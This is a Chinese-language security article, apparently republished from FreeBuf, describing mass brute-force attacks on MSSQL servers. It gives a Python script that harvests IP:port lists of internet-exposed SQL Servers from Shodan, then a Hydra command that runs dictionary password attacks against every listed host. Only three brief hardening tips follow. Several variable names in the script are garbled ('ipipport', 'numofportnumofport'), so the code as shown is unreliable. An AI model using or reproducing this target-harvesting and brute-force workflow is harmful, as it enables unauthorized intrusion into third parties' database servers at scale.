自拍偷在线精品自拍偷,亚洲欧美中文日韩v在线观看不卡

基于ShodanPython庫的批量攻擊實踐

安全
本文以MSSQL服務(wù)器為切入點,以解決批量目標(biāo)發(fā)現(xiàn)為目標(biāo),介紹了一種基于Shodan Python庫的攻擊方法。

SQL Server的弱口令入侵案例層出不窮,利用工具也大量存在,本文以MSSQL服務(wù)器為切入點,以解決批量目標(biāo)發(fā)現(xiàn)為目標(biāo),介紹了一種基于Shodan Python庫的攻擊方法。希望能給有類似需求的同學(xué)提供參考。

[[188971]]

一、基本思路

首先利用Shodan的Python庫獲取并實時處理MSSQL服務(wù)器IP及1434端口Banner,得到IP和MSSQL連接端口的組合列表;然后利用Hydra進(jìn)行字典口令攻擊。

SQL Server服務(wù)使用兩個端口:TCP-1433、UDP-1434。其中1433用于供SQL Server對外提供服務(wù),1434用于向請求者返回SQL Server使用了哪個TCP/IP端口。

—— 百度百科-1433端口

二、實現(xiàn)腳本

實現(xiàn)過程詳見腳本中的注釋

  1. # -- coding:utf-8 -- 
  2. # Python v2.7.10 
  3. # MSSQL.py 
  4. # Written by Gaearrow 
  5.  
  6. import shodan 
  7. import sys 
  8.  
  9. # API_KEY 
  10. API_KEY = "YOUR_API_KEY" 
  11. query = "product:\"Microsoft SQL Server\"" 
  12.  
  13. # 處理輸入 
  14. if len(sys.argv) != 3: 
  15.     print  
  16.     print 'Usage: MSSQL.py <page start:1,2...> <page end:1,2...>
  17.     sys.exit(1) 
  18. pagestart = int(sys.argv[1]) 
  19. pageend = int(sys.argv[2]) 
  20.  
  21. try: 
  22.     # 初始化輸出文件 
  23.     ofilename = 'page'+str(pagestart)+'to'+str(pageend) 
  24.     ofilesrc = ofilename+'_src.txt' 
  25.     ofileip = ofilename+'_ip.txt' 
  26.     fsrc = open(ofilesrc,'w') 
  27.     fip = open(ofileip,'w') 
  28.  
  29.     # 統(tǒng)計變量 
  30.     numofport = 0 
  31.     numofnoport = 0 
  32.     rstlist = 0 
  33.      
  34.     # 逐頁檢索 
  35.     api = shodan.Shodan(API_KEY) 
  36.     rsttotal = api.count(query) 
  37.     maxpage = (rsttotal['total']+99)/100 
  38.     if pageend > maxpage: 
  39.         pageend = maxpage 
  40.     for page in range(pagestart,pageend+1): 
  41.         result = api.search(query,page) 
  42.         for mssql in result['matches']: 
  43.             # 從Banner中解析MSSQL的連接端口 
  44.             ## 刪除換行 
  45.             ip = mssql['ip_str'].strip('\n') 
  46.             ## Ignore IPv6 
  47.             if len(ip) > 15: 
  48.                 continue 
  49.             ## 跳過特殊字符 
  50.             banner = mssql['data'][3:] 
  51.             ## 檢查Banner 
  52.             if banner.find('ServerName') < 0: 
  53.                 continue 
  54.             pos = banner.find('tcp;') 
  55.             if pos > 0: 
  56.                 strlist = banner[pos:].split(';') 
  57.                 if strlist[1].find('np') < 0: 
  58.                     ### tcp;1234;np;.. 
  59.                     ipipport = ip+':'+strlist[1] 
  60.                     numofportnumofport = numofport + 1 
  61.                 else: 
  62.                     ### tcp;np;.. 
  63.                     ipipport = ip+":1433" 
  64.                     numofnoportnumofnoport = numofnoport + 1 
  65.             else: 
  66.                 ### no 'tcp;' 
  67.                 ipipport = ip+":1433" 
  68.                 numofnoportnumofnoport = numofnoport + 1 
  69.  
  70.             print >>fip,ipport 
  71.             print >>fsrc,mssql['ip_str'] 
  72.             print >>fsrc,mssql['data'][3:] 
  73.             rstlistrstlist = rstlist + 1 
  74.  
  75.     # 打印統(tǒng)計信息 
  76.     print >>fsrc,'===================================' 
  77.     print >>fsrc,'Shodan Summary Information' 
  78.     print >>fsrc,'Query : ', query 
  79.     print >>fsrc,'Total Results : ', rsttotal['total'] 
  80.     print >>fsrc,'List  Results : ', rstlist 
  81.     print >>fsrc,'Page  Start   : ', pagestart 
  82.     print >>fsrc,'Page  End     : ', pageend 
  83.     print >>fsrc,'Port  Assigned   : ',numofport 
  84.     print >>fsrc,'Port  Unassigned : ',numofnoport 
  85.     print >>fsrc,'===================================' 
  86.  
  87. except Exception as e: 
  88.     print 'Error: %s' % e 
  89.     sys.exit(1) 
  90.  
  91. fsrc.close() 
  92. fip.close() 

三、執(zhí)行示例

1. 執(zhí)行環(huán)境

  1. root@kali2:~/app/mssqlnew# uname -a 
  2. Linux kali2 4.0.0-kali1-686-pae #1 SMP Debian 4.0.4-1+kali2 (2015-06-03) i686 GNU/Linux 
  3. root@kali2:~/app/mssqlnew# python -V 
  4. Python 2.7.9 

2. 獲取地址端口組合列表

  1. root@kali2:~/app/mssqlnew# python MSSQL.py 1 10 

page1to10_src.txt

src.png

summary.png

page1to10_ip.txt

iplist.png

3. hydra字典攻擊

攻擊耗時及成功率與用戶、口令字典有緊密關(guān)系,網(wǎng)絡(luò)帶寬也影響速度。

root@kali2:~/app/mssqlnew# hydra -L sqluser.dic -P sqlpass.dic -t 30 -M page1to10_ip.txt mssql

四、安全建議

  • 設(shè)置MSSQL僅限本地連接
  • 修改MSSQL的默認(rèn)連接端口
  • 分級配置各類數(shù)據(jù)庫用戶權(quán)限
責(zé)任編輯:趙寧寧 來源: FreeBuf
相關(guān)推薦

2021-08-17 15:00:10

BEC攻擊網(wǎng)絡(luò)攻擊郵件安全

2015-05-06 10:02:26

2019-06-25 10:09:42

Web攻擊機(jī)器學(xué)習(xí)網(wǎng)絡(luò)攻擊

2023-02-06 08:00:00

2017-01-19 16:09:32

2020-03-13 09:33:37

USB攻擊向量移動安全

2022-08-08 07:05:36

KubeSphere分級管理

2015-07-17 10:25:43

kubernetesDocker集群系統(tǒng)

2019-01-09 09:34:22

2019-09-05 19:05:16

2014-02-25 13:38:17

2014-03-20 10:26:58

2023-05-22 09:18:04

2019-06-19 16:01:14

Spark數(shù)據(jù)分析SparkSQL

2023-12-30 13:47:48

Redis消息隊列機(jī)制

2024-11-15 08:00:00

2017-09-01 18:27:36

前端 RxJs數(shù)據(jù)層

2019-03-26 04:47:28

iOSWireshark抓包

2021-09-30 09:53:47

網(wǎng)絡(luò)安全網(wǎng)絡(luò)攻擊網(wǎng)絡(luò)威脅

2012-12-10 11:05:11

IBMdW
點贊
收藏

51CTO技術(shù)棧公眾號